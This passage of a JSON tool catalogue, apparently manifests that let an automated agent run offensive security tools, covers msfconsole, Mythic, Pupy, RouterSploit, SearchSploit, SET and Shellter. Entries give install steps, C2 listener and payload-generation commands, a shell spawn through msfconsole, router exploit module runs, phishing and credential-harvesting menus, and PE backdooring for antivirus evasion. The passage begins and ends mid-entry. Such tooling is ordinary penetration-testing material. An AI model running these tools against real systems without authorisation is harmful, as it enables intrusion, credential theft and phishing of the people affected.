      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Metasploit console, can execute Ruby code and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via msfconsole",
        "command": "msfconsole -q -x 'irb'\nexec \"/bin/sh\"\n"
      }
    ],
    "execution": {
      "template": "msfconsole -q -x 'irb'",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "security-exploit-msfconsole",
    "install": [
      {
        "method": "apt",
        "package_name": "metasploit-framework",
        "commands": [
          "apt-get install -y metasploit-framework"
        ]
      }
    ],
    "items": [
      "Password",
      "Hash",
      "Shell",
      "NoCreds"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "msfconsole",
    "namespace": "security:exploit:msfconsole",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/msfconsole/"
      }
    ],
    "related_tools": [
      "ruby",
      "metasploit"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "HTTP",
      "SMB",
      "Kerberos",
      "LDAP",
      "SSH",
      "FTP",
      "WinRM",
      "DNS"
    ],
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# Mythic — Collaborative Red Team C2 Framework\n\nMythic is a web-based, multi-agent C2 framework designed for red team collaboration. It uses a Docker-based architecture with a web UI, REST API, and supports multiple agent payloads for cross-platform post-exploitation.\n\n## Key Features\n\n- Web-based user interface for real-time collaboration\n- Multi-agent support (Apollo, Poseidon, Athena, etc.)\n- Docker-based service architecture\n- WebSockets for live agent communication\n- Extensible payload types and C2 profiles\n\n## Mythic Agents\n\n| Agent | Platform | Language |\n|-------|----------|----------|\n| Apollo | Windows | C# |\n| Poseidon | macOS | Swift |\n| Athena | Linux | Golang |\n| Medusa | All | Python |\n\n## Common Commands\n\n```bash\n# Navigate to Mythic install directory\ncd Mythic/\n\n# Start the framework\n./mythic_cli start\n\n# Access the web UI at https://localhost:7443\n# Generate payloads and manage agents through the GUI\n```\n",
    "_source": "mythic.md",
    "allowed-tools": [
      "mythic",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Execution"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "agent.communication",
      "command.control.c2",
      "implant.generation",
      "post.exploitation",
      "adversary.simulation",
      "team.collaboration"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Callback IP/C2 domain"
        },
        {
          "type": "network.port.number",
          "description": "Listener port"
        },
        {
          "type": "payload.type",
          "description": "Agent payload type (apollo, poseidon, etc.)"
        }
      ],
      "outputs": [
        {
          "type": "agent.session",
          "description": "Active Mythic agent session",
          "mime": "application/octet-stream"
        },
        {
          "type": "credential.data",
          "description": "Extracted credentials",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 512,
        "network": "high",
        "disk_io": "medium"
      }
    },
    "dependencies": [
      "docker",
      "python3"
    ],
    "description": "Collaborative red team C2 framework with a web UI, multi-agent support, and extensible payload agents for post-exploitation operations.",
    "examples": [
      {
        "description": "Start Mythic server and all services",
        "command": "./mythic-cli start"
      },
      {
        "description": "Stop Mythic services",
        "command": "./mythic-cli stop"
      },
      {
        "description": "Check Mythic service status",
        "command": "./mythic-cli status"
      },
      {
        "description": "Restart Mythic services",
        "command": "./mythic-cli restart"
      }
    ],
    "execution": {
      "template": "./mythic-cli {flags}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout"
    ],
    "id": "security-exploit-mythic",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/its-a-feature/Mythic.git",
        "commands": [
          "git clone https://github.com/its-a-feature/Mythic.git",
          "cd Mythic && make"
        ]
      }
    ],
    "items": [
      "Shell",
      "Hash"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "mythic",
    "namespace": "security:exploit:mythic",
    "parameters": [
      {
        "name": "flag-start",
        "type": "boolean",
        "required": false,
        "description": "Start Mythic services",
        "aliases": [
          "--start"
        ],
        "flag": "--start"
      },
      {
        "name": "flag-stop",
        "type": "boolean",
        "required": false,
        "description": "Stop Mythic services",
        "aliases": [
          "--stop"
        ],
        "flag": "--stop"
      },
      {
        "name": "flag-status",
        "type": "boolean",
        "required": false,
        "description": "Check Mythic service status",
        "aliases": [
          "--status"
        ],
        "flag": "--status"
      },
      {
        "name": "flag-restart",
        "type": "boolean",
        "required": false,
        "description": "Restart Mythic services",
        "aliases": [
          "--restart"
        ],
        "flag": "--restart"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Mythic GitHub",
        "url": "https://github.com/its-a-feature/Mythic"
      },
      {
        "label": "Mythic Documentation",
        "url": "https://docs.mythic-c2.net/"
      }
    ],
    "related_tools": [
      "sliver",
      "covenant",
      "empire",
      "havoc",
      "merlin"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 512,
      "network": "high",
      "disk_io": "medium"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "command-and-control",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "implant-binary",
        "agent-session",
        "c2-listener",
        "harvested-credentials"
      ],
      "consumes": [
        "target-ip",
        "target-port",
        "implant-profile",
        "payload-type"
      ]
    }
  },
  {
    "_body": "\n# Pupy — Remote Administration C2 Framework\n\nPupy is a cross-platform remote administration and post-exploitation framework written entirely in Python. It supports in-memory execution, multiple transport protocols (SSL, HTTP, HTTPS, DNS, RSA), and runs on Windows, Linux, macOS, and Android.\n\n## Key Features\n\n- In-memory payload execution\n- Multi-transport support (SSL, HTTP, HTTPS, DNS, RSA)\n- Reflective DLL injection on Windows\n- Linux payload support\n- Android agent support\n- Extensible module system\n\n## Common Commands\n\n```bash\n# Start the Pupy shell interface\npupysh\n\n# Generate a staged payload\npupy --transport ssl -l 0.0.0.0 -p 8443\n\n# Interactive shell access\n# Once the agent checks in, list sessions with 'sessions'\n# Interact with 'sessions -i <id>'\n```\n",
    "_source": "pupy.md",
    "allowed-tools": [
      "pupy",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Execution"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "agent.communication",
      "command.control.c2",
      "post.exploitation",
      "remote.administration",
      "inmemory.execution"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Pupy server bind address"
        },
        {
          "type": "network.port.number",
          "description": "Listener port"
        },
        {
          "type": "payload.type",
          "description": "Payload type (Windows/Linux/Android)"
        }
      ],
      "outputs": [
        {
          "type": "agent.session",
          "description": "Pupy agent session",
          "mime": "application/octet-stream"
        },
        {
          "type": "credential.data",
          "description": "Extracted credentials",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Cross-platform remote administration and post-exploitation framework written in Python, supporting in-memory execution, multiple transports, and extensible modules.",
    "examples": [
      {
        "description": "Start Pupy server",
        "command": "pupysh"
      },
      {
        "description": "Generate Windows payload with SSL transport",
        "command": "pupy --transport ssl -l 0.0.0.0 -p 8443"
      },
      {
        "description": "Generate Android payload",
        "command": "pupy --transport ssl -l 0.0.0.0 -p 8443 --platform android"
      }
    ],
    "execution": {
      "template": "pupysh {flags}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "id": "security-exploit-pupy",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/n1nj4sec/pupy.git",
        "commands": [
          "git clone https://github.com/n1nj4sec/pupy.git"
        ]
      }
    ],
    "items": [
      "Shell",
      "Hash"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "pupy",
    "namespace": "security:exploit:pupy",
    "parameters": [
      {
        "name": "flag-l",
        "type": "string",
        "required": false,
        "description": "Listener bind address",
        "aliases": [
          "-l",
          "--listen"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-p",
        "type": "integer",
        "required": false,
        "description": "Listener port",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-t",
        "type": "string",
        "required": false,
        "description": "Transport type (ssl, http, https, dns, rsa)",
        "aliases": [
          "-t",
          "--transport"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-s",
        "type": "string",
        "required": false,
        "description": "Script or module to execute",
        "aliases": [
          "-s",
          "--script"
        ],
        "flag": "-s"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "windows",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Pupy GitHub",
        "url": "https://github.com/n1nj4sec/pupy"
      }
    ],
    "related_tools": [
      "sliver",
      "empire",
      "merlin",
      "metasploit"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "command-and-control",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "agent-session",
        "c2-listener",
        "harvested-credentials"
      ],
      "consumes": [
        "target-ip",
        "target-port",
        "payload-type"
      ]
    }
  },
  {
    "_body": "\n# RouterSploit — Embedded Device Exploitation Framework\n\nRouterSploit is an open-source exploitation framework dedicated to embedded devices. It provides modules for scanning, exploiting, and fuzzing vulnerabilities in routers, cameras, and other IoT/embedded systems.\n\n## Module Categories\n\n- **Exploits**: Pre-built exploits for router/device vulnerabilities\n- **Scanners**: Service and vulnerability detection modules\n- **Fuzzers**: Protocol and parameter fuzzing modules\n- **Credentials**: Default credential checking against known devices\n- **Payloads**: Payload delivery for device exploitation\n",
    "_source": "routersploit.md",
    "allowed-tools": [
      "routersploit",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "embedded.exploitation",
      "router.scanning",
      "device.fuzzing",
      "credential.brute-force"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target device IP address"
        },
        {
          "type": "network.port.number",
          "description": "Target device port"
        },
        {
          "type": "exploit.module.name",
          "description": "RouterSploit module to use"
        }
      ],
      "outputs": [
        {
          "type": "shell.session",
          "description": "Shell access on device",
          "mime": "text/plain"
        },
        {
          "type": "credential.data",
          "description": "Found credentials",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Router exploitation framework with modules for scanning, exploiting, and fuzzing embedded devices.",
    "examples": [
      {
        "description": "Scan target router for vulnerabilities",
        "command": "routersploit -t 192.168.1.1 -s"
      },
      {
        "description": "Run a specific exploit module",
        "command": "routersploit -t 192.168.1.1 -e exploits/routers/dlink/dir_815_creds"
      },
      {
        "description": "Fuzz a device on custom port",
        "command": "routersploit -t 192.168.1.1 -p 8080 -f"
      },
      {
        "description": "Quick scan with specific module",
        "command": "routersploit -t 192.168.1.1 -m scanners/autopwn"
      },
      {
        "description": "Test credentials against target",
        "command": "routersploit -t 192.168.1.1 -c admin:admin"
      },
      {
        "description": "Verbose output for debugging",
        "command": "routersploit -t 192.168.1.1 -m exploits/routers/dlink/dir_859_exec -v"
      },
      {
        "description": "Save output to file",
        "command": "routersploit -t 192.168.1.1 -s -o scan_results.txt"
      }
    ],
    "execution": {
      "template": "routersploit -t {target}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive"
    ],
    "global_vars": {
      "target": "192.168.1.1",
      "port": "80"
    },
    "id": "security-exploit-routersploit",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/threat9/routersploit.git",
        "commands": [
          "git clone https://github.com/threat9/routersploit.git",
          "cd routersploit && pip install -r requirements.txt"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "routersploit",
    "namespace": "security:exploit:routersploit",
    "parameters": [
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Credentials (user:pass)",
        "aliases": [
          "-c",
          "--credentials"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Exploit module",
        "aliases": [
          "-e",
          "--exploit"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Fuzzer module",
        "aliases": [
          "-f",
          "--fuzzer"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Module to use",
        "aliases": [
          "-m",
          "--module"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "integer",
        "required": false,
        "default_value": 80,
        "description": "Target port",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Quiet mode",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Scanner module",
        "aliases": [
          "-s",
          "--scanner"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target IP address",
        "aliases": [
          "-t",
          "--target"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help message",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "RouterSploit GitHub",
        "url": "https://github.com/threat9/routersploit"
      },
      {
        "label": "RouterSploit Wiki",
        "url": "https://github.com/threat9/routersploit/wiki"
      }
    ],
    "related_tools": [
      "metasploit",
      "commix"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution",
      "execution",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "device-access",
        "exploit-session",
        "credential-list"
      ],
      "consumes": [
        "target-ip",
        "target-port",
        "exploit-module"
      ]
    }
  },
  {
    "_body": "\n# SearchSploit — Exploit-DB Command-Line Search Tool\n\nSearchSploit is an offline command-line search tool for the Exploit-DB archive. It allows penetration testers to search through the complete collection of exploits, shellcode, and papers without requiring internet access.\n\n## Usage\n\n```bash\nsearchsploit [options] <search-term>\n```\n\n## Common Searches\n\n- **Software name**: `searchsploit apache 2.4.49`\n- **CVE ID**: `searchsploit CVE-2024-12345`\n- **Platform type**: `searchsploit -t webapps wordpress`\n- **Vulnerability type**: `searchsploit -t dos smb`\n\n## Output Fields\n\n| Field | Description |\n|-------|-------------|\n| EDB-ID | Unique Exploit-DB identifier |\n| Title | Exploit title and description |\n| Type | Category (webapps, remote, local, dos) |\n| Platform | Target platform (windows, linux, etc.) |\n| Path | Full local file path to the exploit |\n| URL | Exploit-DB web URL |\n",
    "_source": "searchsploit.md",
    "allowed-tools": [
      "searchsploit",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "exploit.search",
      "vulnerability.lookup",
      "exploitdb.query"
    ],
    "contract": {
      "inputs": [
        {
          "type": "query.string",
          "description": "Search term or CVE ID to look up"
        }
      ],
      "outputs": [
        {
          "type": "exploit.paths",
          "description": "Local file paths to matching exploits",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command-line search tool for the Exploit-DB archive, enabling offline searching of exploits and shellcode.",
    "examples": [
      {
        "description": "Search for EternalBlue exploits",
        "command": "searchsploit eternalblue"
      },
      {
        "description": "Search by CVE ID",
        "command": "searchsploit CVE-2021-41773"
      },
      {
        "description": "Exact match search",
        "command": "searchsploit -e Apache 2.4.49"
      },
      {
        "description": "Show full local paths",
        "command": "searchsploit -p 48191"
      },
      {
        "description": "Filter by type (webapps)",
        "command": "searchsploit -t webapps Wordpress"
      },
      {
        "description": "Show Exploit-DB URLs and JSON output",
        "command": "searchsploit -w -j eternalblue"
      },
      {
        "description": "Search by Nmap service version",
        "command": "searchsploit --nmap file.xml"
      },
      {
        "description": "Update local exploit database",
        "command": "searchsploit --update"
      }
    ],
    "execution": {
      "template": "searchsploit {search-term}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive"
    ],
    "global_vars": {
      "search-term": "eternalblue"
    },
    "id": "security-exploit-searchsploit",
    "install": [
      {
        "method": "apt",
        "package_name": "exploitdb",
        "commands": [
          "apt-get install -y exploitdb"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "searchsploit",
    "namespace": "security:exploit:searchsploit",
    "parameters": [
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Case-sensitive search",
        "aliases": [
          "-c",
          "--case"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Exact match search",
        "aliases": [
          "-e",
          "--exact"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-id",
        "template_key": "flag-id",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show details for specific EDB-ID",
        "aliases": [
          "--id"
        ],
        "flag": "--id"
      },
      {
        "name": "flag-j",
        "template_key": "flag-j",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Output results in JSON",
        "aliases": [
          "-j",
          "--json"
        ],
        "flag": "-j"
      },
      {
        "name": "flag-nmap",
        "template_key": "flag-nmap",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Search using Nmap service version output",
        "aliases": [
          "--nmap"
        ],
        "flag": "--nmap"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show full path to exploit file",
        "aliases": [
          "-p",
          "--path"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Filter by type (dos, local, remote, webapps, shellcode, poc)",
        "aliases": [
          "-t",
          "--type"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-title",
        "template_key": "flag-title",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Display titles only",
        "aliases": [
          "--title"
        ],
        "flag": "--title"
      },
      {
        "name": "flag-update",
        "template_key": "flag-update",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Update exploit database",
        "aliases": [
          "--update"
        ],
        "flag": "--update"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show URLs to Exploit-DB",
        "aliases": [
          "-w",
          "--www"
        ],
        "flag": "-w"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help message",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "o",
        "type": "boolean",
        "required": false,
        "description": "Display exploit title with overflow indicator",
        "aliases": [
          "-o",
          "--overflow"
        ],
        "flag": "-o"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Show screenshot path",
        "aliases": [
          "-s",
          "--screenshot"
        ],
        "flag": "-s"
      },
      {
        "name": "search-term",
        "template_key": "search-term",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Search term, CVE ID, or exploit title",
        "aliases": []
      },
      {
        "name": "url",
        "type": "boolean",
        "required": false,
        "description": ")",
        "aliases": [
          "--url",
          "-DB",
          "-w"
        ],
        "flag": "-w"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Exploit-DB",
        "url": "https://www.exploit-db.com/"
      },
      {
        "label": "Searchsploit manual",
        "url": "https://www.exploit-db.com/searchsploit"
      }
    ],
    "related_tools": [
      "metasploit",
      "exploit-db"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration",
      "recon"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "exploit-paths",
        "exploit-details"
      ],
      "consumes": [
        "search-term",
        "cve-id"
      ]
    }
  },
  {
    "_body": "\n# SET — Social Engineer Toolkit\n\nThe Social-Engineer Toolkit (SET) is an open-source penetration testing framework designed for social engineering. It automates credential harvesting, phishing campaigns, website cloning, and payload generation.\n\n## Attack Vectors\n\n| Menu | Category | Description |\n|------|----------|-------------|\n| 1 | Social-Engineering Attacks | Phishing, credential harvesting, payload delivery |\n| 2 | Penetration Testing | Quick access to Metasploit and other tools |\n| 3 | Third Party Modules | Community-contributed modules |\n| 4 | Update SET | Update the toolkit to latest version |\n| 99 | Exit | Exit the framework |\n\n## Social-Engineering Attack Types\n\n1. Spear-Phishing Attack Vectors\n2. Website Attack Vectors (credential harvesting, web jacking)\n3. Infectious Media Generator\n4. Create a Payload and Listener\n5. Mass Mailer Attack\n6. Arduino-Based Attack Vector\n7. SMS Spoofing Attack Vector\n8. Wireless Access Point Attack Vector\n9. QRCode Generator Attack Vector\n10. Powershell Attack Vectors\n11. Third Party Modules\n",
    "_source": "setoolkit.md",
    "allowed-tools": [
      "setoolkit",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "social.engineering",
      "credential.harvesting",
      "phishing.campaign",
      "payload.generation",
      "website.clone"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.email",
          "description": "Target email address for phishing"
        },
        {
          "type": "network.url",
          "description": "URL to clone for credential harvesting"
        },
        {
          "type": "network.lhost",
          "description": "Local IP for reverse connections"
        },
        {
          "type": "network.lport",
          "description": "Local port for reverse connections"
        }
      ],
      "outputs": [
        {
          "type": "credential.data",
          "description": "Harvested credentials",
          "mime": "application/json"
        },
        {
          "type": "payload.binary",
          "description": "Generated malicious payload",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Social Engineer Toolkit for automating credential harvesting, phishing campaigns, and payload generation.",
    "examples": [
      {
        "description": "Launch SET main menu",
        "command": "setoolkit"
      },
      {
        "description": "Website attack vectors - credential harvesting",
        "command": "setoolkit (then navigate: 1) Social-Engineering Attacks > 2) Website Attack Vectors > 3) Credential Harvester Attack Method > 2) Site Cloner)"
      },
      {
        "description": "Generate malicious payload with Metasploit",
        "command": "setoolkit (then navigate: 1) Social-Engineering Attacks > 4) Infectious Media Generator)"
      },
      {
        "description": "Phishing email campaign",
        "command": "setoolkit (then navigate: 1) Social-Engineering Attacks > 5) Mass Mailer Attack)"
      },
      {
        "description": "Quick penetration testing tools",
        "command": "setoolkit (then navigate: 2) Penetration Testing)"
      }
    ],
    "execution": {
      "template": "setoolkit",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "global_vars": {
      "lhost": "10.0.0.1",
      "lport": "4444"
    },
    "id": "security-exploit-setoolkit",
    "install": [
      {
        "method": "apt",
        "package_name": "set",
        "commands": [
          "apt-get install -y set"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "setoolkit",
    "namespace": "security:exploit:setoolkit",
    "parameters": [
      {
        "name": "menu-1",
        "template_key": "menu-1",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Option 1: Social-Engineering Attacks",
        "aliases": []
      },
      {
        "name": "menu-2",
        "template_key": "menu-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Option 2: Penetration Testing",
        "aliases": []
      },
      {
        "name": "menu-3",
        "template_key": "menu-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Option 3: Third Party Modules",
        "aliases": []
      },
      {
        "name": "menu-4",
        "template_key": "menu-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Option 4: Update SET",
        "aliases": []
      },
      {
        "name": "menu-99",
        "template_key": "menu-99",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Option 99: Exit",
        "aliases": []
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "SET GitHub",
        "url": "https://github.com/trustedsec/social-engineer-toolkit"
      },
      {
        "label": "SET Documentation",
        "url": "https://www.social-engineer.org/toolkit/"
      }
    ],
    "related_tools": [
      "beef",
      "metasploit",
      "gophish"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution",
      "execution",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "phishing-url",
        "harvested-credentials",
        "malicious-payload",
        "cloned-website"
      ],
      "consumes": [
        "target-email",
        "target-url",
        "lhost",
        "lport"
      ]
    }
  },
  {
    "_body": "\n# Shellter — Dynamic Shellcode Injection\n\nShellter is a dynamic shellcode injection tool that creates backdoored versions of legitimate Windows Portable Executable (PE) files while preserving their original functionality. It works by injecting shellcode into the target PE at runtime, enabling AV evasion.\n\n## Key Features\n\n- **PE backdooring**: Inject shellcode into legitimate executables\n- **Auto mode**: Fully automated shellcode injection\n- **Manual mode**: Fine-grained control over injection process\n- **AV evasion**: Bypass common anti-virus signatures\n- **Original functionality**: Backdoored executables work as normal\n- **Multiple payloads**: Reverse shell, bind shell, meterpreter, custom shellcode\n",
    "_source": "shellter.md",
    "allowed-tools": [
      "shellter",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "shellcode.injection",
      "pe.backdooring",
      "av.evasion",
      "payload.embedding"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.pe",
          "description": "Target Windows PE file to backdoor"
        },
        {
          "type": "shellcode.binary",
          "description": "Shellcode to inject (or auto-generate)"
        },
        {
          "type": "network.lhost",
          "description": "Listener IP for reverse shell"
        },
        {
          "type": "network.lport",
          "description": "Listener port for reverse shell"
        }
      ],
      "outputs": [
        {
          "type": "file.pe.backdoored",
          "description": "Backdoored PE file",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [
      "wine"
    ],
    "description": "Dynamic shellcode injection tool for creating backdoored portable executables while maintaining original functionality.",
    "examples": [
      {
        "description": "Auto-backdoor a PE with reverse shell",
